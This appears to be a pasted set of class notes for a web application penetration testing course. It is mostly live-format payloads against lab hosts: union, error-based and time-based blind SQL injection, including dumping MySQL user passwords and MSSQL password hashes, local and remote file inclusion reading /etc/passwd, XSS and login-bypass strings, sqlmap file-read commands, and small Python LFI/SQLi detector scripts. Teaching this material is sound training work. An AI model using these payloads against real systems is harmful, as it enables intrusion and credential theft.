SHARE
TWEET

Untitled

djtroby May 31st, 2017 32 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ###########################################
  2. # Advanced Web App Pentester Night School #
  3. ###########################################
  4.  
  5.  
  6.  
  7.  
  8. #######################
  9. # Attacking PHP/MySQL #
  10. #######################
  11.  
  12. Go to LAMP Target homepage
  13. http://54.172.112.249/
  14.  
  15.  
  16.  
  17. Clicking on the Acer Link:
  18. http://54.172.112.249/acre2.php?lap=acer
  19.  
  20.     - Found parameter passing (answer yes to question 1)
  21.     - Insert ' to test for SQLI
  22.  
  23. http://54.172.112.249/acre2.php?lap=acer'
  24.  
  25.  
  26. Page returns the following error:
  27. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  28.  
  29.  
  30.  
  31. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  32. We do this using the ORDER BY
  33. http://54.172.112.249/acre2.php?lap=acer' order by 100-- +
  34.  
  35. Page returns the following error:
  36. Unknown column '100' in 'order clause'
  37.  
  38.  
  39.  
  40. http://54.172.112.249/acre2.php?lap=acer' order by 50-- +
  41.  
  42. Page returns the following error:
  43. Unknown column '50' in 'order clause'
  44.  
  45.  
  46.  
  47. http://54.172.112.249/acre2.php?lap=acer' order by 25-- +
  48. Page returns the following error:
  49. Unknown column '25' in 'order clause'
  50.  
  51.  
  52.  
  53. http://54.172.112.249/acre2.php?lap=acer' order by 12-- +
  54.  
  55. Page returns the following error:
  56. Unknown column '50' in 'order clause'
  57.  
  58.  
  59.  
  60. http://54.172.112.249/acre2.php?lap=acer' order by 6-- +
  61. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  62.  
  63.  
  64.  
  65. Now we build out the union all select statement with the correct number of columns
  66.  
  67. Reference:
  68. http://www.techonthenet.com/sql/union.php
  69.  
  70.  
  71.  
  72. http://54.172.112.249/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  73.  
  74.  
  75.  
  76. Now we negate the parameter value 'acer' by turning into the word 'null':
  77. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  78.  
  79. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  80.  
  81.  
  82. Use a cheat sheet for syntax:
  83. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  84.  
  85.  
  86. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  87.  
  88. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  89.  
  90. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  91.  
  92. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  93.  
  94.  
  95. http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  96.  
  97.  
  98.  
  99.  
  100. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  101. http://54.172.112.249/showfile.php?filename=about.txt
  102.  
  103.  
  104.  
  105. See if you can read files on the file system:
  106. http://54.172.112.249/showfile.php?filename=/etc/passwd
  107.  
  108. We call this attack a Local File Include or LFI.
  109.  
  110. Now let's find some text out on the internet somewhere:
  111. https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  112.  
  113.  
  114. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  115. http://54.172.112.249/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  116.  
  117.  
  118. -----------------Some Automated Testing from the strategicsec VM-----------------
  119.  
  120. ##################################################
  121. # You can download the virtual machine from here #
  122. ##################################################
  123. https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
  124. user: strategicsec
  125. pass: strategicsec
  126.  
  127.  
  128.  
  129. cd /home/strategicsec/toolz/sqlmap-dev/
  130.  
  131. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" -b -v 3
  132.  
  133.  
  134. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-user -v 3
  135.  
  136.  
  137. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-db -v 3
  138.  
  139.  
  140. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --privileges -v 3
  141.  
  142.  
  143. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --dbs -v 3
  144.  
  145.  
  146. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --tables -v 3
  147.  
  148.  
  149. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/issue -v 3
  150.  
  151.  
  152. python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
  153.  
  154.  
  155.  
  156.  
  157.  
  158. #############################
  159. # Error-Based SQL Injection #
  160. #############################
  161. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  162. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  163. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  164. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  165. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  166. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
  167. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  168. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  169. http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  170.  
  171.  
  172.  
  173.  
  174. #############################
  175. # Union-Based SQL Injection #
  176. #############################
  177. http://54.213.252.28/bookdetail.aspx?id=2 order by 100--
  178. http://54.213.252.28/bookdetail.aspx?id=2 order by 50--
  179. http://54.213.252.28/bookdetail.aspx?id=2 order by 25--
  180. http://54.213.252.28/bookdetail.aspx?id=2 order by 10--
  181. http://54.213.252.28/bookdetail.aspx?id=2 order by 5--
  182. http://54.213.252.28/bookdetail.aspx?id=2 order by 6--
  183. http://54.213.252.28/bookdetail.aspx?id=2 order by 7--
  184. http://54.213.252.28/bookdetail.aspx?id=2 order by 8--
  185. http://54.213.252.28/bookdetail.aspx?id=2 order by 9--
  186. http://54.213.252.28/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  187.  
  188.     We are using a union select statement because we are joining the developer's query with one of our own.
  189.     Reference:
  190.     http://www.techonthenet.com/sql/union.php
  191.     The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  192.     It removes duplicate rows between the various SELECT statements.
  193.  
  194.     Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  195.  
  196. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  197.  
  198.     Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  199.  
  200. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  201. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  202. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  203. http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  204.  
  205.  
  206.  
  207.  
  208.  
  209. - Another way is to see if you can get the backend to perform an arithmetic function
  210. http://54.213.252.28/bookdetail.aspx?id=(2)
  211. http://54.213.252.28/bookdetail.aspx?id=(4-2)  
  212. http://54.213.252.28/bookdetail.aspx?id=(4-1)
  213.  
  214.  
  215.  
  216. http://54.213.252.28/bookdetail.aspx?id=2 or 1=1--
  217. http://54.213.252.28/bookdetail.aspx?id=2 or 1=2--
  218. http://54.213.252.28/bookdetail.aspx?id=1*1
  219. http://54.213.252.28/bookdetail.aspx?id=2 or 1 >-1#
  220. http://54.213.252.28/bookdetail.aspx?id=2 or 1<99#
  221. http://54.213.252.28/bookdetail.aspx?id=2 or 1<>1#
  222. http://54.213.252.28/bookdetail.aspx?id=2 or 2 != 3--
  223. http://54.213.252.28/bookdetail.aspx?id=2 &0#
  224.  
  225.  
  226.  
  227.  
  228.  
  229. ###############################
  230. # Blind SQL Injection Testing #
  231. ###############################
  232. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  233.      
  234. 3 - Total Characters
  235. http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  236. http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  237. http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
  238.  
  239. Let's go for a quick check to see if it's DBO
  240. http://54.213.252.28/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  241.  
  242. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  243.  
  244. D  - 1st Character
  245. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--  
  246. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  247. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  248. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  249.  
  250. B - 2nd Character
  251. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  252. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  253.  
  254. O - 3rd Character
  255. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  256. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  257. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  258. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  259. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  260. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--      
  261. http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  262.  
  263.  
  264.  
  265.  
  266. ************************ Class Homework ************************
  267.  
  268. Perform a mock penetration test against http://54.172.112.249 using what you have learned in this pastebin.
  269.  
  270. You don't need to document it for me, but go through the steps for your own understanding.
  271.  
  272.  
  273.  
  274.  
  275.  
  276. ************************ Class Challenge ************************
  277.  
  278. Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
  279.  
  280. Here are some sample web app penetration test reports from other companies that you can look at:
  281. https://s3.amazonaws.com/StrategicSec-Files/WebAppSampleReports.zip
  282.  
  283. I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
  284.  
  285.  
  286.  
  287.  
  288.  
  289.  
  290.  
  291. ###############################################################
  292. # Question 1: What is the process that you use when you test? #
  293. ###############################################################
  294.  
  295. Step 1: Automated Testing
  296.  
  297. Step 1a: Web Application vulnerability scanners
  298. -----------------------------------------------
  299. - Run two (2) unauthenticated vulnerability scans against the target
  300. - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
  301. - Run two (2) authenticated vulnerability scans against the target with admin privileges
  302.  
  303. The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
  304.  
  305. A good web application vulnerability scanner comparison website is here:
  306. http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
  307.  
  308.  
  309. Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  310.  
  311. When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
  312.  
  313.  
  314. Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
  315.  
  316.  
  317. Also, be sure to save the scan results and logs. I usually provide this data to the customer.
  318.  
  319.  
  320.  
  321. Step 1b: Directory Brute Forcer
  322. -------------------------------
  323. I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
  324.  
  325.  
  326.  
  327. Step 2: Manual Testing
  328.  
  329. Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
  330.  
  331. Step 2a: Spider/Scan the entire site with Burp Suite
  332. Save the spider and scan results. I usually provide this data to the customer as well.
  333.  
  334.  
  335. Step 2b: Browse through the site using the 3 question method
  336. Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
  337.  
  338. Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
  339.  
  340. Here is what I mean:
  341. http://www.site.com/page.aspx?parametername=parametervalue
  342.  
  343. When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
  344.  
  345. http://www.site.com/page.aspx?parametername=[ payload ]
  346.  
  347. You need to ensure that you send the payload this way, and like this below:
  348.  
  349. http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
  350.  
  351. This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
  352.  
  353.  
  354.  
  355.  
  356.  
  357.  
  358.  
  359. ###########################################
  360. # Question 2: How much fuzzing is enough? #
  361. ###########################################
  362. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
  363.  
  364. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
  365.  
  366.  
  367. Step 1: Ask yourself the 3 questions per page of the site.
  368.  
  369. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
  370.  
  371. Step 3: When you load your fuzz strings - use the following decision tree
  372.  
  373.     - Are the fuzz strings causing a default error message (example 404)?
  374.         - If this is the case then it is most likely NOT vulnerable
  375.  
  376.     - Are the fuzz strings causing a WAF or LB custom error message?
  377.         - If this is the case then you need to find an encoding method to bypass
  378.  
  379.  
  380.     - Are the fuzz strings causing an error message that discloses the backend type?
  381.         - If yes, then identify DB type and find correct syntax to successfully exploit
  382.         - Some example strings that I use are:
  383.             '
  384.             "
  385.             ()          <----- Take the parameter value and put it in parenthesis
  386.             (5-1)       <----- See if you can perform an arithmetic function
  387.  
  388.  
  389.     - Are the fuzz strings rendering executable code?
  390.         - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
  391.         - Some example strings that I use are:
  392.             <b>hello</b>
  393.             <u>hello</u>
  394.             <script>alert(123);</script>
  395.             <script>alert(xss);</script>
  396.             <script>alert('xss');</script>
  397.             <script>alert("xss");</script>
  398.  
  399.  
  400.  
  401.  
  402.  
  403.  
  404.  
  405. -------------------------------------------------------------------------------------------
  406.  
  407. ############################
  408. # Trading Web App with WAF #
  409. # http://54.213.131.105    #
  410. ############################
  411.  
  412.  
  413. Try the following in the search box:
  414.     <script>alert(123);</script>
  415.     <script>alert(123);</script
  416.     <script>alert(123)
  417.     <script>alert
  418.     <script>
  419.     <script
  420.     <scrip
  421.     <scri
  422.     <scr
  423.     <sc
  424.     <s
  425.     <p
  426.     <
  427.     < s
  428.     Joe'+OR+1=1;--
  429.  
  430.    
  431. Open a new tab in firefox and try this:
  432.     http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
  433.  
  434.  
  435.     xss_upload.txt (Upload Bulk Order)
  436.     <script>alert(123);</script>
  437.  
  438.  
  439. Login Box:
  440.  
  441.     ' or 1=1 or ''='
  442.     anything
  443.  
  444.  
  445.  
  446. Tamper Data: (notice 2 session IDs)
  447.  
  448.     AcmeTrading=a4b796687b846dd4a34931d708c62b49;       SessionID is md5
  449.     IsAdmin=yes;
  450.     ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  451.  
  452.  
  453.  
  454. Profile - Detail    (tamper data)
  455.     Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  456.     joe|set
  457.  
  458.  
  459.  
  460.  
  461.  
  462.  
  463.  
  464. ###########################################################
  465. # Attacking an Oracle/JSP based WebApp with SQL Injection #
  466. ###########################################################
  467.  
  468.  
  469.  
  470.  
  471.  
  472. http://54.69.156.253:8081/bookcompany/
  473.  
  474.  
  475. user:   a' OR 'a'='a
  476. pass:   a' OR 'a'='a
  477.  
  478.  
  479.  
  480.  
  481.  
  482.  
  483.  
  484. http://54.69.156.253:8081/bookcompany/author.jsp?id=111
  485.  
  486.  
  487. [ Search by Username ]  Joe' OR 'a'='a
  488.  
  489.  
  490.  
  491.  
  492.  
  493.  
  494.  
  495.  
  496.  
  497.  
  498.  
  499.  
  500. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
  501.  
  502.  
  503.  
  504. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
  505.  
  506.  
  507.  
  508.  
  509.  
  510.  
  511.  
  512.  
  513.  
  514.  
  515.  
  516.  
  517.  
  518.  
  519.  
  520. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
  521.  
  522.  
  523. Host is running:
  524.  
  525.  
  526.  
  527.  
  528.  
  529. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
  530.  
  531. User is:
  532.  
  533.  
  534.  
  535.  
  536.  
  537. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
  538.  
  539. Current database is:
  540.  
  541.  
  542.  
  543.  
  544.  
  545.  
  546. ############################
  547. # Web App Scripting Basics #
  548. ############################
  549.  
  550. 1. Simple LFI/RFI
  551.  
  552.  
  553. vi lfi-rfi.py
  554. --------------------------------
  555. #!/usr/bin/env python
  556.  
  557. print "\n### PHP LFI/RFI Detector ###"
  558.  
  559.  
  560. # urllib2 is a Python module that can be used for fetching URLs. It defines functions and classes to help with URL actions (basic and digest authentication, redirections, cookies, etc) The magic starts with importing the urllib2 module.
  561.  
  562. # The module re provides full support for Perl-like regular expressions in Python
  563.  
  564. # The module sys contains System-specific parameters and functions
  565.  
  566.  
  567. import urllib2,re,sys
  568.  
  569. TARGET = "http://54.172.112.249/showfile.php?filename=about.txt"
  570. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  571. TravLimit = 12
  572.  
  573. print "==> Testing for LFI vulns.."
  574. TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
  575. for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
  576.     TARGET += "../"
  577.     try:
  578.         source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
  579.     except urllib2.URLError, e:
  580.         print "$$$ We had an Error:",e
  581.         sys.exit(0)
  582.     if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
  583.         print "!! ==> LFI Found:",TARGET+"etc/passwd"
  584.         break ## BREAK LOOP WHEN VULN FOUND
  585.  
  586. print "\n==> Testing for RFI vulns.."
  587. TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
  588. try:
  589.     source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
  590. except urllib2.URLError, e:
  591.     print "$$$ We had an Error:",e
  592.     sys.exit(0)
  593. if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
  594.     print "!! => RFI Found:",TARGET
  595.    
  596. print "\nScan Complete\n" ## DONE
  597.  
  598. --------------------------------
  599.  
  600.  
  601.  
  602.  
  603. 2. Simple SQL Injection
  604.  
  605.  
  606. vi sqli.py
  607. --------------------------------
  608. #!/usr/bin/env python
  609. print "\n### PHP SQLi Detector ###"
  610. import urllib2,re,sys
  611.  
  612. TARGET = "http://54.172.112.249/acre2.php?lap=acer"
  613.  
  614. SQLi = "%27"
  615. SQLiError = "You have an error in your SQL"
  616. myNameInHex = "0x6a6f65"
  617. myName = 'joe'
  618.  
  619. print "==> Testing for SQLi Error Vuln..."
  620. URL = TARGET+SQLi
  621. try:
  622.     source = urllib2.urlopen(URL).read() ## WEB REQUEST
  623. except urllib2.URLError, e:
  624.     print "$$$ We had an Error\n",e
  625.     sys.exit(0)
  626. if re.search(SQLiError,source): ## SEARCH FOR ERROR IN PAGE
  627.     print "!! ==> SQLi Found:",TARGET+SQLi
  628.     print "## ==> Bruting NULL column...",
  629. URL = TARGET+SQLi+"%20UNION%20SELECT%20"+myNameInHex ## BUILD OUR SQLi STATEMENT
  630. for x in xrange(1,10):
  631.     if x > 1:
  632.         URL = URL+","
  633.         URL = URL+myNameInHex
  634.         print x,
  635.         print URL
  636.         try:
  637.             source = urllib2.urlopen((URL+"--%20j")).read() ## WEB REQUEST
  638.         except urllib2.URLError, e:
  639.             print "$$$ We had an Error\n",e
  640.             sys.exit(0)
  641.         if re.search(myName, source): ## SEARCH FOR UNENCODED NULL WORD
  642.             print "\n!! ==> Null Column Found:",URL+"--"
  643.             break
  644. else:
  645.     print "** ==> No SQLi Found!"
  646. print "\nScan Complete\n"
  647. --------------------------------
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top